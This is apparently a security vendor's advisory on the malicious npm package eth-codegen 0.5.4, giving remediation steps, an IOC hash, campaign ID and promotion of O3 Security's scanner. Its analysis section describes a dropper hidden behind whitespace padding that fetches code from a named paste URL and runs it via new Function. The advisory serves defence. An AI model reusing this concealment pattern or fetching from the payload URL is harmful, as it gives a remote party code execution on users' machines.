Which versions of eth-codegen are malicious?

The following npm versions of eth-codegen are flagged malicious: 0.5.4. Treat any of these as compromised.

How do I remediate eth-codegen if I installed it?

Remove eth-codegen from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

I already installed eth-codegen — how do I know if it already compromised me?

If eth-codegen was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is eth-codegen part of a known attack campaign?

Yes — eth-codegen is associated with the IN-MAL-2026-014832 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find eth-codegen across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for eth-codegen (version 0.5.4). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging eth-codegen across your stack and pipelines.

Malicious package

eth-codegennpm

eth-codegen is a confirmed malicious npm package (MAL-2026-12371) that executes malicious code on install (malicious version 0.5.4). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in eth-codegen (npm)

MAL-2026-12371

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall eth-codegen

What this malware does

The package advertises itself as an Ethereum codegen utility but its actual contents are an unrelated mongoose leanhooks plugin plus a hidden dropper. index.js appends an async runHandler() concealed after ~1KB of whitespace padding following the module.exports = leanhooksPlugin; line. On require, runHandler() performs axios.get('https://www.jsonkeeper.com/b/VYFER'), then passes the response's cookie field to new Function('require',...) and invokes it with the installer's require. jsonkeeper.com is an anonymous, mutable paste host controlled by whoever created the paste, giving that party arbitrary code execution in the installer's Node process every time the package is imported. The whitespace concealment plus cover-story package name/description are deliberate evasion.

Malicious versions

1 flagged

0.5.4

Indicators of compromise (SHA-256)

c111948c855e4133fbd037c268523a2118038ca498e9bdba1c743d4ee77f24bc

Detection & response playbook

Malicious package

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for eth-codegen (version 0.5.4). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging eth-codegen across your stack and pipelines.
If you installed it — respond
Remove eth-codegen from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If eth-codegen was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks eth-codegen before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. eth-codegen on npm has been identified as a malicious package (version 0.5.4 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-014832

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks eth-codegen-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring

Explore

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